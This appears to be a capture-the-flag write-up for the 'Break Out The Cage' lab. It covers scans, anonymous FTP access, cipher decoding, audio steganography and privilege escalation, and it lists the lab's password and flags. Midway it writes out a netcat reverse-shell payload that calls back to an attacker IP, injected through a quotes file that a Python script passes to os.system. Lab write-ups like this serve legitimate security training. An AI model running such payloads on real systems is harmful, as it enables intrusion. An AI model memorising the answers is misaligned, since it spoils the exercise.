Break Out The Cage





Break Out The CageHelp Cage bring back his acting career and investigate the nefarious goings on of his agent!

writeup

email backup

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-----user-flag-----
--ran nmap and found open ports at 21, 22 and 80, so I went to the website
--I first went to port FTP 21 since anonymous login is allowed and found a file called dad_tasks
--ran get dad_tasks, opened file and got a string:
UWFwdyBFZWtjbCAtlFB2ciBSTUtQLi4uWFpXIFZXVVIuLi4gVFRJIFhFRi4uLiBMQUEgWIJHUVJPISEhIQpTZnculEtham5tYiB4c
--decoded with base64 and got the viginere cipher below:
Oapw Eekcl - Pvr RMKP...XZW VWUR... TTI XEF... LAA ZRGORO!!!!
Sfw. Kajnmb xsi owuowge
Faz. Tml fkfr ggseik ag ogeibx
Eljwx. Xil bqi aiklbywge
Rsfv. Zwel vvm imel sumebt lgwdsfk
Yejr. Tqenl Vsw svnt "urqsjetpwbn einyjamu" wf.
Iz glww A ykftef.... Qjhsvbouuoexcmvwkwwatfllxughhbbcmydizwlkbsidiuscwl
--ran go buster and found a number of directories and files
--the /auditions page contained a corrupted audio file called must practice corrupt file.mp3
--repaired mp3 with online tool then opened in Sonic Visualizer and added a spectrogram layer and saw data hidden:
namelesstwo
--decoded the viginere cipher from before with the key namelesstwo and got westons password:
Dads Tasks - The RAGE...THE CAGE... THE MAN... THE LEGEND!!!!
One. Revamp the website
Two. Put more quotes in script
Three. Buy bee pesticide
Four. Help him with acting lessons
Five. Teach Dad what "information security" is.
In case I forget.... Mydadisghostrideraintthatcoolnocausehesonfirejokes
Mydadisghostrideraintthatcoolnocausehesonfirejokes
--I then logged into ssh with ssh weston@10.10.131.71 and password
Mydadisghostrideraintthatcoolnocausehesonfirejokes
--looked around for interesting files but didnt find any, so I tried sudo -I and got:
User weston may run the following commands on national-treasure:
  (root) /usr/bin/bees
--ran cat /usr/bin/bees and saw it was a bash script
--searched around for files belonging to group 'cage' with find / -group cage and found:
/opt/.dads scripts
/opt/.dads scripts/spread the quotes.py
/opt/.dads scripts/.files
--ran cat /opt/.dads scripts/spread the quotes.py and got:
import os
import random
lines = open("/opt/.dads_scripts/.files/.quotes").read().splitlines()
quote = random.choice(lines)
os.system("wall " + quote)
--I decided to manipulate the the file to give me a reverse shell with the following commands:
rm -f /tmp/rev
cat << EOF > /tmp/rev
#!/bin/bash
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.2.27.69 4444 >/tmp/f
EOF
chmod +x /tmp/rev
printf 'revshell time; /tmp/rev\n' > /opt/.dads_scripts/.files/.quotes
--after running these commands we wait for a few minutes for a shell to spawn as the user cage
--ran Is and found:
```

Super_Duper_Checklist

-- ran cat Super Duper Checklist and get:

- 1 Increase acting lesson budget by at least 30%
- 2 Get Weston to stop wearing eye-liner
- 3 Get a new pet octopus
- 4 Try and keep current wife
- 5 Figure out why Weston has this etched into his desk: THM{M37AL_0R_P3N_T35T1NG}
- --in step 5 is our user flag:

THM{M37AL OR P3N T35T1NG}

-----root-flag------

- --ran sudo -l and got nothing
- --decided to investigate the email backup directory
- --ran Is in email_backup directory and got:

email 1

email 2

email 3

--ran cat email 1

From - SeanArcher@BigManAgents.com

To - Cage@nationaltreasure.com

Hey Cage!

There's rumours of a Face/Off sequel, Face/Off 2 - Face On. It's supposedly only in the planning stages at the moment. I've put a good word in for you, if you're lucky we might be able to get you a part of an angry shop keeping or something? Would you be up for that, the money would be good and it'd look good on your acting CV.

Regards

Sean Archer

--ran cat email_2

From - Cage@nationaltreasure.com To - SeanArcher@BigManAgents.com

Dear Sean

We've had this discussion before Sean, I want bigger roles, I'm meant for greater things. Why aren't you finding roles like Batman, The Little Mermaid(I'd make a great Sebastian!), the new Home Alone film and why oh why Sean, tell me why Sean. Why did I not get a role in the new fan made Star Wars films?! There was 3 of them! 3 Sean! I mean yes they were terrible films. I could of made them great... great Sean.... I think you're missing my true potential.

On a much lighter note thank you for helping me set up my home server, Weston helped too, but not overally greatly. I gave him some smaller jobs. Whats your username on here? Root?

Yours

Cage

--ran cat email 3

From - Cage@nationaltreasure.com To - Weston@nationaltreasure.com

Hey Son

Buddy, Sean left a note on his desk with some really strange writing on it. I quickly wrote down what it said. Could you look into it please? I think it could be something to do with his account on here. I want to know what he's hiding from me... I might need a new agent. Pretty sure he's out to get me. The note said:

haiinspsyanileph

The guy also seems obsessed with my face lately. He came him wearing a mask of my face... was rather odd. Imagine wearing his ugly face.... I wouldn't be able to FACE that!!

Regards

The Legend - Cage

- --email_3 contained the string haiinspsyanileph that I decoded with viginere decoder and key of face to get: cageisnotalegend
- --ran su root and got error below:

su: must be run from a terminal

- --so I then ran python -c 'import pty; pty.spawn("/bin/bash")' and the su root with the password cageisnotalegend --ran Is in /root directory and found email_backup directory
- --ran cat email_2 and found root flag:

THM{8R1NG_D0WN_7H3_C493_L0N9_L1V3_M3}

scans

PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 3.0.3 | ftp-anon: Anonymous FTP login allowed (FTP code 230) -rw-r--r-- 10 396 May 25 23:33 dad_tasks ftp-svst: STAT: FTP server status: Connected to ::ffff:10.2.27.69 Logged in as ftp **TYPE: ASCII** No session bandwidth limit Session timeout in seconds is 300 Control connection is plain text Data connections will be plain text At session startup, client count was 1 vsFTPd 3.0.3 - secure, fast, stable **End of status** OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) 22/tcp open ssh | ssh-hostkey: 2048 dd:fd:88:94:f8:c8:d1:1b:51:e3:7d:f8:1d:dd:82:3e (RSA) 256 3e:ba:38:63:2b:8d:1c:68:13:d5:05:ba:7a:ae:d9:3b (ECDSA) 256 c0:a6:a3:64:44:1e:cf:47:5f:85:f6:1f:78:4c:59:d8 (ED25519) 80/tcp open http Apache httpd 2.4.29 ((Ubuntu)) | http-server-header: Apache/2.4.29 (Ubuntu) http-title: Nicholas Cage Stories Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux kernel

/images (Status: 301) /html (Status: 301) /scripts (Status: 301) /contracts (Status: 301) /auditions (Status: 301)

[Task 1] Investigate!

Let's find out what his agent is up to....

#1 What is Weston's password?

Mydadisghostrideraintthatcoolnocausehesonfirejokes

#2 What's the user flag?

THM{M37AL_OR_P3N_T35T1NG}

#3What's the root flag?

THM{8R1NG_D0WN_7H3_C493_L0N9_L1V3_M3}